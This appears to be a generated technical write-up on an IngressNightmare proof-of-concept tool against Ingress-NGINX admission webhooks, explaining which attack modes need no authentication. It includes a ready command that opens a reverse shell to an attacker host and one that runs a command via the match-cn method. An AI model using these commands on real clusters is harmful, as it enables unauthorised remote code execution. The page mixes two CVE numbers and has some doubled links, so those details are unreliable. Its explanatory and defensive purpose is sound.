# Does IngressNightmare Require Authentication to Exploit? Technical Analysis of CVE-2025-1974

> Learn if IngressNightmare requires authentication to exploit CVE-2025-1974. Discover how this vulnerability bypasses credentials using admission webhook flaws.

- Repository: [Esonhugh Skyworship/ingressnightmare-cve-2025-1974-exps](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps)
- Tags: technical-analysis
- Published: 2026-03-01

---

**IngressNightmare does not require authentication to exploit the default CVE‑2025‑24514 vulnerability, as it abuses the Ingress‑NGINX admission webhook's handling of malicious auth‑url annotations without needing any credentials.**

The `esonhugh/ingressnightmare-cve-2025-1974-exps` repository contains a proof-of-concept tool that demonstrates critical remote code execution vulnerabilities in Ingress‑NGINX. Understanding whether ingressnightmare requires authentication to exploit is essential for security teams assessing their attack surface, as this determines whether exposed admission webhooks pose an immediate zero-click risk to cluster security.

## How the Default Exploit Works Without Authentication

### The Auth-URL Injection Vector

According to the source code in [[`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go)](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) (lines 70‑71), the tool enables the `--is-auth-url` flag by default. This mode injects a malicious `nginx.ingress.kubernetes.io/auth-url` annotation into an Ingress object, which the admission webhook evaluates and processes without performing any authentication checks on the incoming request.

The [[`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json)](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/validate.json) template (lines 47‑48) demonstrates this payload structure, showing the `auth-url` annotation containing a malicious URL that causes the webhook to load an attacker-supplied shared library. No secret references, tokens, or certificates appear in this template, confirming that the exploitation happens entirely without authentication.

### Core Exploit Execution Flow

In [[`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go)](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/exploit.go), the `ExploitMethod` struct (lines 21‑26) tracks which attack vector is active, while `RenderValidateJSON` (lines 39‑50) renders the JSON payload with the selected annotation. The `ValidateWebhookSpecificFilePath` function (lines 59‑68) transmits this payload directly to the webhook endpoint via HTTP, bypassing any Kubernetes API authentication or authorization layers entirely.

## Optional Exploit Methods and Secret Requirements

### The Auth-TLS-Match-CN Method

While the default attack requires no authentication, the optional `--is-match-cn` method does require a valid secret name via the `--auth-secret-name` parameter (see [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go), lines 72‑75). This `auth-tls-match-cn` vector manipulates the `nginx.ingress.kubernetes.io/auth-tls-match-cn` annotation and must reference an existing TLS secret in the target namespace. This attack path is **disabled by default** and is only viable when the attacker has prior knowledge of specific secret names within the cluster.

### The Mirror-With-UID Alternative

The third attack vector, controlled by the `IsMirrorWithUID` flag (line 73 of [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go)), adds a `mirror-target` annotation without requiring any authentication, secrets, or credentials. This provides an additional no-authentication exploitation path when the auth-url method is unavailable or blocked by policy.

## Practical Exploitation Examples

### Unauthenticated Reverse Shell Deployment

The following command exploits the default auth-url vulnerability without providing any secrets or authentication tokens:

```bash
ingress-nightmare \
  --ingress-webhook-url http://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
  --mode reverse-shell \
  --reverse-shell-ip 10.1.2.3 \
  --reverse-shell-port 4444

```

This command leverages the logic in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go) and the payload generation in [[`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go)](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/nginx-ingress/payload.go) to deliver a reverse shell once the webhook loads the malicious shared object.

### Optional Authenticated Method

To use the auth-tls-match-cn method (which requires knowing a secret name):

```bash
ingress-nightmare \
  --is-match-cn \
  --auth-secret-name kube-system/cilium-ca \
  --mode command \
  --command "id"

```

Both commands rely on the same core exploit flow, but only the second requires any knowledge of cluster internals.

## Summary

- **Default exploitation** via the `auth-url` annotation requires no authentication and works against exposed admission webhooks immediately upon network access.
- **Optional methods** like `auth-tls-match-cn` require the `--auth-secret-name` parameter referencing existing secrets, but these are not enabled by default.
- The tool abuses **webhook validation logic** in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go) rather than bypassing Kubernetes RBAC or authentication mechanisms.
- All payload generation in [`payload.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/payload.go) occurs independently of any authentication tokens, service account credentials, or valid Kubernetes sessions.
- The [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json) template contains no credential fields, confirming the unauthenticated nature of the primary attack vector.

## Frequently Asked Questions

### Can IngressNightmare exploit clusters with strict RBAC policies?

Yes, because the tool targets the Ingress‑NGINX admission webhook directly rather than the Kubernetes API server. As implemented in [`exploit.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/exploit.go), the `ValidateWebhookSpecificFilePath` function sends the malicious JSON directly to the webhook endpoint. If this endpoint is network-accessible, the exploit succeeds without requiring Kubernetes authentication, service accounts, or RBAC permissions.

### Why does the auth-tls-match-cn method need a secret name?

This optional method manipulates the `nginx.ingress.kubernetes.io/auth-tls-match-cn` annotation, which must reference an existing TLS secret in the namespace to pass validation. The `--auth-secret-name` flag (handled in [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) lines 72‑75) provides this reference, but this attack path is disabled by default and only functions when the attacker knows specific secret names, unlike the default unauthenticated method.

### Is the mirror-with-uid method also unauthenticated?

Yes. According to [`main.go`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/main.go) line 73, the `IsMirrorWithUID` flag enables a separate attack vector that injects `mirror-target` annotations without requiring any secrets, credentials, or authentication tokens. This provides a secondary no-authentication exploitation path when the primary auth-url method is unavailable.

### What prevents this attack in properly secured environments?

Network policies that restrict access to the admission webhook endpoint (typically `ingress-nginx-controller-admission.ingress-nginx.svc` in the `ingress-nginx` namespace) prevent exploitation entirely. Since the tool must reach this service to deliver the malicious payload defined in [`validate.json`](https://github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/blob/main/validate.json), firewall rules or network segmentation that block external access to the webhook eliminate the attack vector without requiring authentication changes.